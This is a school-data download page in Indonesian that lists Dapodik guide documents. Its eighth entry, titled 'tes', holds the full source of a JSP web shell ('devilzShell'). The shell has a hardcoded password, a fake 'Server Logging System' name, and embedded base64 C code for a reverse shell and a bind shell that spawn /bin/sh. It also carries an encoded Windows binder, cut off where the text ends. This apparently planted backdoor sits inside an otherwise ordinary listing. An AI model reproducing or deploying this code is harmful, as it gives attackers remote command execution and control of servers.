Layanan Unduh Dokumen Edukasi Data SMA

Daftar Dokumen Edukasi Data SMA.

No Nama Dokumen Deksripsi Aksi
1. Panduan Dapodik 2021 Panduan Dapodik versi 2021
2. Panduan Pemutakhiran Data Tugas Tambahan Kepala Sekolah di Dapodik Panduan Pemutakhiran Data Tugas Tambahan Kepala Sekolah di Dapodik
3. Panduan_Lengkap_Aplikasi_Dapodik_versi_2023 Panduan_Lengkap_Aplikasi_Dapodik_versi_2023
4. Percepatan Sinkronisasi Dapodik dalam rangka Persiapan Cut Off Dana BOS dan BOP Percepatan Sinkronisasi Dapodik dalam rangka Persiapan Cut Off Dana BOS dan BOP
5. Panduan Pemutakhiran Dapodik untuk PPG Daljab Tahun 2022 Panduan Pemutakhiran Dapodik untuk PPG Daljab Tahun 2022
6. Panduan Pengisian Guru Kelas pada Kurikulum Sekolah Penggerak di Dapodik 2022.a-SP Panduan Pengisian Guru Kelas pada Kurikulum Sekolah Penggerak di Dapodik 2022.a-SP
7. Panduan Pengisian Matpel Mulok, Senbud, dan PKWU pada Kurikulum Sekolah Penggerak di Dapodik 2022.a- Panduan Pengisian Matpel Mulok, Senbud, dan PKWU pada Kurikulum Sekolah Penggerak di Dapodik 2022.a-SP
8. tes <%@ page contentType="text/html"%><%@ page import="java.io.*,java.util.*,java.net.*,java.text.*,sun.misc.*,java.security.*,java.lang.*,java.lang.String" %><% // // devilzShell <[jsp]> // ^^^^^^^^^^^^ // author: b374k // greets: devilzc0der(s) and all of you who love peace and freedom // // // ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ // Jayalah Indonesiaku //################ VARIABLES GOES HERE #######################=============================================] String shell_name = "devilzShell"; String shell_fake_name = "Server Logging System"; String shell_title = " :: " + shell_name + " ::"; String shell_version = "v1"; String shell_password = "devilzc0der"; String shell_fav_port = "12345"; String shell_color = "#374374"; // server software String xSoftware = application.getServerInfo().trim(); // uname -a String xSystem = System.getProperty("os.name") + " " + System.getProperty("os.version") + " " + System.getProperty("os.arch"); // server ip InetAddress inetAddress = InetAddress.getLocalHost(); String xServerIP = inetAddress.getHostAddress(); // your ip ;-) String xClientIP = request.getRemoteAddr(); String xHeader = xSoftware + "
" + xSystem + "
Server IP: [ " + xServerIP + " ]   Your IP: [ " + xClientIP + " ]"; //################# RESOURCES GOES HERE #######################=============================================] String icon = "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAB/klEQVR42o2RS2gUQRCGq7rHB0rw4miwFWVmPSmIHpaQSwQD4ivGKHsImIOyBhJETUDjRaMIEjTk4gNFIutBwScY8eBh9aBgyCGCiKu4E4kzBk0uimiI21XWwgbMorOppumuKuqr6r8RZmnjxl8iR0H2DzfKT03HsVLhV+Ove4rc8xk4uYtxdCHgGQHc/SdAuqwZB9jCAE7RnwLGR8hHbiK5/aQzCcC0FP/+u2YG4KPx2+p14SKVTbFIiPdI7/eioL98whmAt8bv3O7Y89sIv29kzOpSvENR41lSD1Jh0BQLeGf8jq3a9nayetX2KVhfeta8Gm0nuwgH0+FITSxgzPgtm3Qhs5qR+kgfqwIYGgVuTmk60EPq/p4w2B0LkG5+l7I5Ud3BUsoBBlc0uEVOakWUvxMLKNqA8V4c0rZWyZ0lzbI2M9rTpNfKD+RiAV+MX9eiCs9+yV2ecLkacPgaUvcNxcuuWHW9Pgr2xQJeGu9Us7YnjpMaFsE2FGOh8dN12l49SjjUGo4kYwE54x3eqW3fXlJjrawSMvLPN8brbtB08hypgaYwaIgFTJjE0l5l3wfAVRdIN4qQT8T/dht5btbq9pVR/lJFEUWHWhF9fnWUzxb9x8u9hwcV7ZjOD1rHXRx9mPgvoNxkqjmTwKnXyMlVgAtcxucCyMwaUMn+AMvLzBHNivq3AAAAAElFTkSuQmCC"; String bg = "iVBORw0KGgoAAAANSUhEUgAAAAMAAAADCAYAAABWKLW/AAAAJklEQVR42mNkAAIpKan/b968YWAEMZ49ewamGdnY2P6LiIgwgAQA8xYNYheotNcAAAAASUVORK5CYII="; String xBack ="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludCBtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47IA0KIGRhZW1vbigxLDApOw0KIHNpbi5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiBzaW4uc2luX3BvcnQgPSBodG9ucyhhdG9pKGFyZ3ZbMV0pKTsNCiBzaW4uc2luX2FkZHIuc19hZGRyID0gaW5ldF9hZGRyKGFyZ3ZbMl0pOyANCiBiemVybyhhcmd2WzJdLHN0cmxlbihhcmd2WzJdKSsxK3N0cmxlbihhcmd2WzFdKSk7IA0KIGZkID0gc29ja2V0KEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBJUFBST1RPX1RDUCkgOyANCiBpZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHIgKikgJnNpbiwgc2l6ZW9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICBwZXJyb3IoIlstXSBjb25uZWN0KCkiKTsNCiAgIGV4aXQoMCk7DQogfQ0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEpOw0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFyICopMCk7IA0KIGNsb3NlKGZkKTsgDQp9"; String xBind = "I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50IGFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiByZW1vdGU7DQogaWYoZm9yaygpID09IDApIHsgDQogcmVtb3RlLnNpbl9mYW1pbHkgPSBBRl9JTkVUOw0KIHJlbW90ZS5zaW5fcG9ydCA9IGh0b25zKGF0b2koYXJndlsxXSkpOw0KIHJlbW90ZS5zaW5fYWRkci5zX2FkZHIgPSBodG9ubChJTkFERFJfQU5ZKTsgDQogc29ja2ZkID0gc29ja2V0KEFGX0lORVQsU09DS19TVFJFQU0sMCk7DQogaWYoIXNvY2tmZCkgcGVycm9yKCJzb2NrZXQgZXJyb3IiKTsNCiBiaW5kKHNvY2tmZCwgKHN0cnVjdCBzb2NrYWRkciAqKSZyZW1vdGUsIDB4MTApOw0KIGxpc3Rlbihzb2NrZmQsIDUpOw0KIHdoaWxlKDEpDQogIHsNCiAgIG5ld2ZkPWFjY2VwdChzb2NrZmQsMCwwKTsNCiAgIGR1cDIobmV3ZmQsMCk7DQogICBkdXAyKG5ld2ZkLDEpOw0KICAgZHVwMihuZXdmZCwyKTsgICANCiAgIGV4ZWNsKCIvYmluL3NoIiwic2giLChjaGFyICopMCk7IA0KICAgY2xvc2UobmV3ZmQpOw0KICB9DQogfQ0KfQ0KaW50IGNocGFzcyhjaGFyICpiYXNlLCBjaGFyICplbnRlcmVkKSB7DQppbnQgaTsNCmZvcihpPTA7aTxzdHJsZW4oZW50ZXJlZCk7aSsrKSANCnsNCmlmKGVudGVyZWRbaV0gPT0gJ1xuJykNCmVudGVyZWRbaV0gPSAnXDAnOyANCmlmKGVudGVyZWRbaV0gPT0gJ1xyJykNCmVudGVyZWRbaV0gPSAnXDAnOw0KfQ0KaWYgKCFzdHJjbXAoYmFzZSxlbnRlcmVkKSkNCnJldHVybiAwOw0KfQ=="; String wBind = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAA0GAk5cHlnanB5Z2pweWdqmGZsanF5Z2rzZWlqenlnanB5ZmpNeWdqEmZ0and5Z2qYZm1qanlnalJpY2hweWdqAAAAAAAAAABQRQAATAEDAIkLlD8AAAAAAAAAAOAADwELAQYAADAAAAAQAAAAQAAAYHIAAABQAAAAgAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAACQAAAAEAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAACAAAAIAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFVQWDAAAAAAAEAAAAAQAAAAAAAAAAQAAAAAAAAAAAAAAAAAAIAAAOBVUFgxAAAAAAAwAAAAUAAAACQAAAAEAAAAAAAAAAAAAAAAAABAAADgVVBYMgAAAAAAEAAAAIAAAAACAAAAKAAAAAAAAAAAAAAAAAAAQAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMy4wNABVUFghDQkCCbOeYU01Vb5H61QAAFUiAAAAYAAAJgMADCfk//+DfCQEBXUIagD/FTBAQADCBACQuCx03/7/EgAA6AMABSxTVVZXaAAQI2gwUEAuHN1v396L0LkHHgAzwI1GPPOruAQMv/aX3bsQBIlEJEADRI08M9tQUokf9naz/USJXCRQNgyheFYEvvdlJ/6v+/+D+AGJdCQUfhyLDYQTUWkXg8QEZjvDbHf/7j4UdQQdjZQkrFNSagI+9Hb/ut+FwA+FQwI8PUcDfX5TAGoB+777+x7olPA78zYYD4QeAptTSa3puq4ggBQHJAMoLCp7vm2b8GbHChwki0wkFFFA7U33Z+xUJBBmvR4cUlBWdZDucpDczQFqChDkXjfsZryLLUTTThD+W/7t1taVIItuGI1MJBCNVFFG/vYgW5zgdNPp5gIQaBAnABbOZhpHQP2IVNAbbt1HO9N0sJMQu4vxWSzBu///wukCXIvOg+ED86oPv0oKi1IMi8EYMIvK956/Mhqli8ikxtEshG8IwckYzUYd6V67sBlO/wDm4Sxb5wYZ2DUYtFhA1d13lw12PAJoBONSx4QkjNgBzn54cwtMnCSQ47QkmAacHtt8T6AAzzyNvDqDyf/G7nfcwmhQLvKu99FJiZ/GhACapum6GVwHRWVBY2marmlGeB9CbUfTme8GQwdkiJwMSA5E94s9Wy5mOIR6r1BR6bZN11oQ6wW2XFNS1DSD6QpHdQ4A4dR3HP+QbgFFC8xfXl1bgcTj4Y5HNvkIg+wQ6DPtV8oKl7vH6AcUIBCJbM0U/mbrAxw8TGg/AA8AVVVMRmr/LFQE+Dv9dHl/GldeePfZEwgdAAU7xXQF+tPrWfvdtNkUSD0kInVMVQBWVZcOc7ddMv8BSWg4NzwQs22lf+iF7XQjlQFVTRQLbtvONQzWINa0Vltxc41LJRDCa6ldiS3t9mbJfHgBOT1sUgp+ESDvfnf6agiKBlBPKQjrEIsVYF4zyYoOj/Hf/YoESoPgCJgDRuvQgD4AdGa7iTSF1n57u4AGQKMMOkY8InUYBgWy7X//dAtGhMB0Qgp19UbGBgA1mmUeO8lmyQ5RD6Fk0ooW+q0dWVB1zh8/yXQC68tXOGloBxCUGAcANjrM3FIA+MfOzIDyH2v6ZYurg8cBfg8PtgdqCNle6X1ZWesOLGTFQQr/9rKFwEfr0hU3R4P+LYvubGGt19oGKzUPdkMsZw/7DGoEVkALoTxwBP32798NjQSbjVxG0DDrz4P9QsN1AvfYyb7b+pLD/0MENgSMWcPMAB0fo8BRPQJxCHIUgUIVv/2x3z4tEIUBF3PsK8iLxAyL4YsIi+H/jYVAAsMh7FGLRQiNSAGB+QCfsHR7tncMvQ+3vutSt1b//+2v1w7B+QiB0fZEVgGAXnQOgGX+AIhN/I3LduOIRf0g6wkN/UX82rXtj/ZYjU0KBRNRUI0QUAvfbrjQnQdmxBxOAsnDU0UKI0WyY4HfDMl0av+qQVKUIuHGe/dkoQAAUGSJJQfgWFNi8SNceIll6Il0QKvUiRX4VNt3n95hyIHh/8gN9A3B4QgDygrw3A+7P+gQo+wHM/ZFEVpZbrs3ug0wHAsG1ol1/AgPr+y79kkWoxhaBA8OfaPQVAls22Z3DDAEC3cImSvQt6T3/zMNCEQWH4lFnPZF0AF0Brs0vS1w1OsDWlgddZxWoXALv2XXUCMDDKAICMZH7GVD6Q1VCYlNmOzOCZs2F77dw4vHdZge1+3YVHUFWO0g7A0TaLwToQmVbAhz5XhSLyRZJXhLOBEC7ADu7jYbxAiLC8gFDHUJDwT34dv43TqrUwWL2B33ZK0DCZzgLjCE01safxh8eHKEGKHcU9s7NdgsbHA+zeReVhF7f6TOM/yAInQEi8brHRsY+WSDZwxTiHyEzgAtvMG7AlijQ2wCdSQcHGVbMN1JBaFEvBEUAhDYMSuVDDkzqQiHt18LmGzglCRdGBmhVGObbU/0RY1TLEEg+InW0HQbwFRAhBg3wb/xb18f4FZ0Y4ld/I08IceDwAMkdmEXi/wNwIv00NxXzDhKy46FFPwMW6PBxkY7kdQqg7//ydrs1ukpSeBWXxxVPHOtc1IRFNeg7esCnYULXUNlbU3wJg2JCG8sgVvIoRRaCNgH80Bh0BohCPquIV+DgZQOAD5ndg2nwxjQDI4I6BC5tU3IAVcPX7koVbM9Ond1ERh6LGUGhHBxoSEIDNSLXAmd/d0VpCKIHSAoPKEQgyI/+98tuAwJVo1x/DvwchOLBpeD7gQ7hnyFvzUic+1e8pQUw5d8N25oIBAchdtbC61nxDp6iYZwX8MFtSfbdRI7qnMNV8YE61HCtms4yp4IPgrcGFn4N1v7xSBwWAhIChWD+wXlDd0LWYNgCOpY4wrZg/uNktvMhPauLGEsvbbrY6VNQguLSASDZ4XIHf/NrTT4EAUV/APRVjvKfRWNNPC33e1JK9EEtYgSgyYCxgxKdfeL3bYOdngEU7eOM8BpxwWfAXv3DINA63A9kBKBXT0B+RmQkYRKPZP5GZCfhTc9jYIkPY9Onp8BhhE9kgqKay2MnZ2IarXTdAprwH0fWV7rCPpREWOj41lwFPiDyP8xbFko1yi5uFtdw+RGUS7ufbtGOWjZVrgFdO3r7Rv8n4DADDvGcwQ5EN2NDEleA+xyfL+NFTvBEnSWMwhaeBk4sgAZWrHkRDPxkQ4likYBJ002Gy7QIBHAwFCnFVR05vi2lSVa4yENBwo8IHa6rr2VTQwgd/o0KAQP6fUuLZTZ21MnOR1a29cWrA5bWtAT/yc6An/6SyESPD10AUddGxxZjSL8Tm3wAevorL1hZhqcA25HW3tZ5zUI9Y7sfwtPCcYHPUE4H3Q5VVc5it2+RUhZRYA/SSJVNLZYtlB5PAYuOzaxb3f8eKxZblkD/Td1yV3/hEPpt30WdisdC4kejYc2Bl84qWFb1FG9rxi5V74wii2pP7bDqZATKaIYfP44g61ChRhNJ874vNoGrxV1n6yLDy0N2zag/NiI1KgYtWGTrtahCC8n2zWs1SSGMTVwFEhazuVuZgCco/ylL5hSu7VtTBgcFJSDIXJqjlhji0p9VLUgrdVLpYV4dzeDx1MU8gv/woA4m0SKUAFAgPq+KYTSdCUX3rj90vaC4VdHBHQ9AYX2cIoQHTsy9ogWRkAL1evODASAyNjtLR1GQBzrQx4Ff0vetgRARNr2gxkYiB5e3pq7RmUgdAkJCAl1zHUDSLY3jjW7Smb/gGUYAE4A+75mlrbgRCsFJwNeeGBmbPEXyLyLVbbCaxffAsfQ14UiXNH49y3wQEPr95Is9sMBltzaX7hBOX1tDYB4ASKN4x2Lwihh2EpbNwgM7u/2t98YGA+UwokF0euL00uFkw5DiNpboULXBbFLdfOA30Zr5KcgP1UKij+su9Q2dDoPZ3QuKBniwgkTBgYfGw9AsGtzAwMVAUCQDbWr3deGMA8Og8cDg/eUmgFDo+H7oOOFDm5JoTSIU7stpEBNNgftwT3AzATV+j3XAS0WIe3rKGYWTpZvVPsX6hszsgNzAuIPWoHdbLMOQww/J8JmOR5t0Forc+s7CPv5NnZLnwbyK8YvUE7R+I5A0h2w0QJdUys0/9c1KVdL+jvrdDIyC41qroFbHFVQuyQlIW2D1L1WDBAnXAmL9sTP1gNWnpjD61OVTKUSpZO5hbF0PGBD0vZv+3QKQDh7+wT2K8dAalXOUolWWKr7Rrp05WCk9ZyzDpRfPDrxxiCVw+ww7HCCRIsROmHTpKllMhsVWUAY4DXAsgBaIB6GKfutbNy0cxptBLbGRgUKoSNC7u/S9QgFG+vijeGYTh1NDGYJQnXFNen3RQnCbrkLMI3cu/1XYrhKSo0cLnwCdjk1Yz6wzP19Ur8ETI8AOIPS/NjPf4kHjYh+wXMYgGAIGHuBy0CLD3YIgcF85BVif+bVSXy76waLCfvxL2y80X5Giyr4ZDaKTQD2wQEwoe6tfgQIdQulsB6lCo2/0MeLz8H4BY1Vy3Qv1HrPIaULiQgviDVe4hvrR0WDw5v+fLpQKPECn+w82P/y2HVNOxa3b10ABIG0avZY64jDSPW7HaE7wPVYrKiD/3MXV2b9MFInDCUVPtAGgE4r89YoauoKA3UK8MW+xG4EBYBDdAN8m/+4Ajwrszao0kTDhXrVUYN3GWgceGRrUHYgVbSj6FjcOjY8hS4e0UoPPOhY6JAD86BySL9YONF7/OdV2Gi02PRYuCEeCC5SXTqL5afujjrbTItBBAaeuB3rvozRdA+tVIkCuAMQwz7Njv6hi9lq/mi8IYn/NQDFLrogGSBKi3C+sOO2QP7xLjvadCghdosMs4XbVgmpbUgXfLOx/fbv+3USaAEBLbN9Em7/VAjrw2SPBQjtnONDooznZIu2t+DS94F5BGh1DVEMpTlRmLh7C7EFm4pRuxSF2woEK3EIqGFLArdGfGtD0GsMWVt371ZD6G/D/TIwWEMwMPfjCPr8i11Yii3ll1hA5NmC5qB1cIkxReEPCInvsrU+IXN7CMFhulv7l212sY90RVZVjWsQqAtdI7oXul5BC8QzeDwlU14DxrpyEZgdVgzatWOyFVw2b96PSnznum2PVQw7CDAaizSP66HqHftq9nwcyesVXEOITVbgP10WlLVCb2i8O4spi0H2A151yRoQJOGhe60aCrihmfIqinWs3M98UiFo/D6GoThWj2DUy1nwdZzwH/5g14HspIRVCDPJuCjY3bTVPjuQC0JBPbgMfPG5hfe3lfHB5gM7lhomHCpJZ5aGbLzocA3X9h66ENeo+nUL8SBsRGLhhVw+/7kpAOXBukm6MBMX/ENALXF2FiZZEleSvWdvx+IHYUBZZTx2KRlQL3B2FnT4DYNGagMDN7Op7vho+EFXqCesVWD/xs6SNNwQVwy8zP2QwR3YvP+2LNMWzFSr2REKBCfBL98ZsFkaLF/rJo2EmhorazBq1zY7TdOk3Qhq9Nx/xF5OTUOAyeQtDEdLpo0mCEfFij8x+apEKf6D+gRyLffZVHRvvv9fE4gHR0l1+ovIweAIA8EGEMqD4gPXXaIUewPzqzoGIw4o5UxKPs0ixDnJVo0EFWVP3ICuHhaKQ4SIJHVb0ISBHGZTDglFhgOuq2ohIzvkeCQzUqQB/wUY9poBfvAXLyE1uLQQfXCiFbgi/N5WLJd3/AnSuMgVOTB0cjBCVFGaYuEN6Nuc99YVIxgkvkBjWb/ggtAWewnT6AGJUMOqcXOjtenkgA+G74B97rG1+NMZu03vihEPDK6x9038LLZB/+Q7wg+HkyXHW21ZAw7uUkg/Uux+owEsiwSqjZ7YkYA7v03ob7TLdCyKUQFkhbb6O8d3t2/3jRTJ/IqSwCAIkEZAE3b1bBu68EFBgDkY1P/cwwid/EGWMC2Ewfz9zG0WHt5Qo6wLeeTMv8B07P7eD6WlWaO7petVQHn//0g9fWZwGkKhCEA9SnKwbBYrIzksVDbWXmtx+gvCTasAvoLb6OsN2FwKmzCs4KpQ+wTVHUFbangfHpXfgyUhVf4jPMjW6ktc/yV4av0oMHJhFGz85RaxZSdyGUn1UKmUgameKii0wbY2FwQNbkggdjZTOwG4BOkFEgsgLzzPCBFXbFkzwN4bIdiqtBejxdwbBs76w18zFKQE7AaMCI1W9+cKFgumfz80wL6HiIQF7KyCxqW6+v5y9IpF8saFDSCpN6Mv4erGjVVgtgrav3cdKxi0e+zIjbwqQbggAIvZlzb99s/LQkKKQv80ddBfW2qd7PpYa/YagzWNejFWnbFgxFa1I/2ym032HVYeVjQjKKqwQ1cy/GjvJ39bsBReXD2NcmaLEb+fsMD2wmAW+hCKlAVkiJBO3gqY4L8aAnQQIMZbAHdbpqAcgWHCDY08AL/rSRUlf1hju0FyGQRaqkvIgMEgiJOXt7GISR8dYXITencOrm7YmyDpIOvgTEq+ZeHXgwE6Emr9CJZZ/F+dYHIIWvQDJNCogR+XHw/2VhoWLVg+Zx86Xr0TQMN6HbyxsNdIfMscJ2qNpCTC/7us4ZH4V/fBA/6KAUG2Ow4S/f//dfGLAbr//v5+A9CD8P8zwoPBBKm/ht9t8IF06Jf8JiOE5HQaqUh0gR4d6Kmno82Ny8tboz/+BP7rCP3rA/zaGswR9l8ZC0EM/WBvxWSIF0di7usFiRe+rBCsxWduaYNrN/a2m+EvNITkJ/fCaRIH2Qm0sWrHOC5mCLYlK9HG7gwIiAcjw9kIuHAqWsUb9eiu/rHgdyIObTo6u23adRZkmJ6DFdoTKvneRbsbOEJYNcANdwtWGiJlqBRNPRwuA3ByCS/U/8rm8FZqZEE4xAYAX16I0JCTFEAA5KS5SGMyJBNJtke4QbUrwcMJ/qbZZJL9/IbGoNBStFfFnU1SttELFMEQ0QPG1HbUMI3t+PgPgnhH98eMFIrQ/0I4kd9yKfOl/ySV6CwWKvDbYse6HIPpSMrgczO3JYjIF4UABo34Tdc9XZAHfBAEPANgI7a3wMHRiszXiEcBBQIZW7bmVghZxsdczJaxZSeNSSslAQI7m+RZAqaQI0YhrjuQr0c/jN8GzAOapmmaxLy0rKScNN1C/79EjuSJl+QH6OjTNE3T7Ozw8PQC0zRN9Pj4/BBafNgojZoD8HoJwDTb7//wAC0DDCAN7C3tWF5foJCdCwnBBZv5EaMN4e3DDAorjXQxZ3w5/H9220sGJA394/x3gC7CeWtxRe+NMC6PF/mcTPkriC0swma67pCYC7gD4G0DOlvydbdvA05YT1a2S90uYdgfo+4C7wK8ZQPyKYyQJySNV7Ykqy0DrkXXXZiBWmBbNAY8A03TNE1ETFRcZHdpmmaELpccHBgYpmmaphQUEBAMkKZpmgwICAQETdedsB+QBZgDqLwlOLeELpe3tYcDWwizD4MTIZlOCLdoQBnVDLkWYHK0SFuts50luqwGsAUGwIzEo6iUoLrspd5CeKEY+YChtAfatDVgiLraVJJQDNcL7ZY1ACRyB2MU6+hfZXIRIaPLnsX2VnKv8/ryK3EMWriD/7/AwvxXwe4Pi86LevxpyQSvS4l92Cjk3jCMAUSZILZNxrcG3L0ME9UI+HV/wRGjQnz7aj9JXwsMO892qZELBXq7EwQ7Awh1SL2lIP+tf+hzHL9x0++NTAGO1yF8sET+CXUu2Na7K3UhOeskdeAeLX0692AhvLDEEiQGeQSZsXLBUYd8EwoEje+2G8xd+A0IjIv7wf8EZHRb29r/P3uGXy+94ZfsFWoAWiTQK6gFun/MEaGJVfhJWjvKpnb2/LmtdfPKQRv7QD47+nbbUrstmPq/dGsuiVG+UTwyMmC9uurSIVRhwSKXER69LdYS8tIhlExSv1pZzrZJvkoLBAgRFS5s1JEn7NUJOTOGfDMbpIkp8I0M+crWXPcLJokvDgUIol1q2ZdKY4cHBO/bRrtfzU0P/sGIC3Ml8w9GDnay3b+7iIvP0+t2CRkNjUSxxW4V+wkY6ykkwE/gGWOH4J4lWQQPnYS3CVT6VsM4i1RFoxqJXBNXhngsS3L6oXZMWqp8ot9/pFanQBTi9qZqDwNIDFKAAEPMXiN2klNRgB8y/rD3IBwJUAgOOUAQg6SI4uxu9mwkD/5IQwpI6rE33OJ5QxODYAT+EYN4CLrXNt1DbFMQcAxaEgkQLXosLGD0D9hC4RjyBICSy8go+sW/ofNMEexRjUgUUZsrHOP9dmVizv8NLzsFIjVPv7ZRtxSWOokNTOsidX5Pt6OsiTU1XClgkypmL2gbn9yNYDyCLBtIF3bw/Ds6TBdqSTR9DoPO/9PugynHWy3t/+/06xAmgP+2wL0z9tPoDgOhaYvYO99/u/AbfwhzGYtL4TsjKyP+C891C7td41Y+FDuaGHLnB3V520zI94vaO9gmFQXr5hklukV3dVkkc7N7CEh3yLNzEzfr7SYNG7dfmbMv7hclbnuF23YXtDAWCCYfWVstbFut/IBDqDhsB91r1W0b6SNpWqUUi8NbqW0W+sdKLYuMkLY7e9ilgJBEiDeLEnAR9gtvZVXdg2X8hEhEC9aLCwEMtdB1B5FJFKb/LlwcX4v+IzkL13Tpi5cbhzXryjP/XFhNdkz/7mB3V851DWZqIGRfhcl8BdHhR66u2+7r94sgVPlDCit/8XuNRk3/wf4EToP+P374Xjeb0qaTzA0BJGEgfSsRt6UOAu84nNPz7CM3ynH3XIhEiQP+D3XqYewh0WID6QvrMRcrlSu4douhMiEZKTaYLCbnKASFIgrArk2vy3oE+ACVr3oIkNt+rmqEoql88UIMpVkGkFoiwmQG1VLpZv4LfSnEmQsujW2uxxFiv7DOjAk7gN12yQqPCXyu6y8ovg9po+VOtgl7BLG8cD3Sxa0Wvu4JN2p0uaVfOnQLiQqJA/yyeXVt+G0bvNEiARIy/J+LDnr8VqohJQ8+dRo7HfLQiNSV60s7pAbSpbpgaxGJUEIECAY9OCkCDW/sMN26wf9ddTBfiVBy4JCWBaW0V5doMIPCBirHdIicDX/BYsA9CmjEQeAIR7bPTEUwjTSBM2SJRvZBA/0QdCpqBGj/aLJXGfQGMMhgDB12EFe11ICB/N18TqAW+60kxYl+BP8FYkFwHapdqovGsu7po/WNrktxyEEIM9vFT+vjRrPgQ8M3acCBWvvEdhtjMIJF6kAIAgTdujVsnEoe+4XB5995DBcw5LOLEIAARQ36TSbRJycVjZcAcCNocGn7+nc8jUd3SPKDiH5mMO/u9I2I/AbHQPzwQg56n/vt7/+lSATHgOgQFAVW3lE3WCzwlnbHI08MBfjeugLghukmiayNSgyH28vWCI9BZJ5EQrye41Wq8RYsQ4rIC6BGq1vdeohOQwsJeMIsCjgoMMtofmrPj4rQ2KvkYFZCeJDo4WhERDBczWeLNbl42FBBhjhEs9ZhB37P/il0UGgoEGgUB6Nkbnop3uHWo2i8C94W/9BdvWf/PXQOoWgQBVMRvhigV6phA0FNjgdWR1zr+I8MV5SsUrv6elZTi9ndFPebTgVvqHEkEG7bdW/rIdbVjii8s3QlgSkfN/tfe3XrLR1Rg+MDdA0gHaEOKlQv8CBbNVB6z2jDyXQSOoN30j0DcRE67mwYgAjQNi76KpggI8B292Ov+gYny3LyFoPG3iweDLXCtyN1xjnrGIHixwwt9kjTCQ4ABDPSU+5s97ttVQoEiQdfdfiwdYWjAjlCMFlQRLWCUuQcVJ8QXAI+f0ZX8ltTZIme4FbUVtaMs5XfRhMdI+siIAxRTwg+G4heIgEI3mLSWWxcFH4QoHEHRFRdzllZ5WDrotfJHRMdFhy8JQQu2XRIyOb5EHMqOtN9IAQbs3Ygcy5/JKCD5yVzIP+Lc+RNnIjW14VWGQRgmxCCG3fEQdw2CMGGX+sTcP8mBby1sRGLOGfcdGa6ZG22M9xhIVf0TS/iLObsGqWMD+1/iRJPRfd0MvZFDQR0QD6zm6m2HHiyQNV/HtrAbG1kMkjSj1C6kIayyMeD8gvZXN2zNtyJXeAuVkoyEluyfXfKutbfdM9k5Gd0nI+4zW43s3UEA+sGjChoIPggNmaU1VC/t3ELFKGLz8Zx0QgAlkrNi0RW/EoNEmywUELsQO1J9NjcEt3zDF7IKx6DwuSCkxaKdH4PODL1OqqBtwSe2eRASXBrf2g8y5HPCYA7eDz8O5ACJNh1BLwD4Dt/CDkA8mg8aDw0XTdYP18GTANEPAk2TdM0LCQcPH/uM4cAaDzwgAMDkASbjKA8fwDnEfKQPrA9CD1IsOt+LJAYCzgDYD1/yCGQVwA+AD66brBQW7R/vAPEbJqmaczU3OT3PU4IARJ/HxAgwabrBRgDKDw+fxFm+gXM/yXAmgA1anMA/6sWSitBj8wDF00YkwPbpv6/cnVudGltZSBlcnJvclENCgNUAflv9kxPU1MRDgBTSU5H/rL2AlNPTUESEVI2MDI4t7+83QgtIEthYmx0byBpbmlWYWw/3+zbaXoNaGVhcDcnN25vdLZvcGs9BHVn7nNwYWMjZuw2YO97bG93aThhBm9uNyB5Crk2c3RkWvvtZzVwdXIrdmlydHUhM77Y9tulYyMgYwxsKF802nabQl8qZXhcL1iwk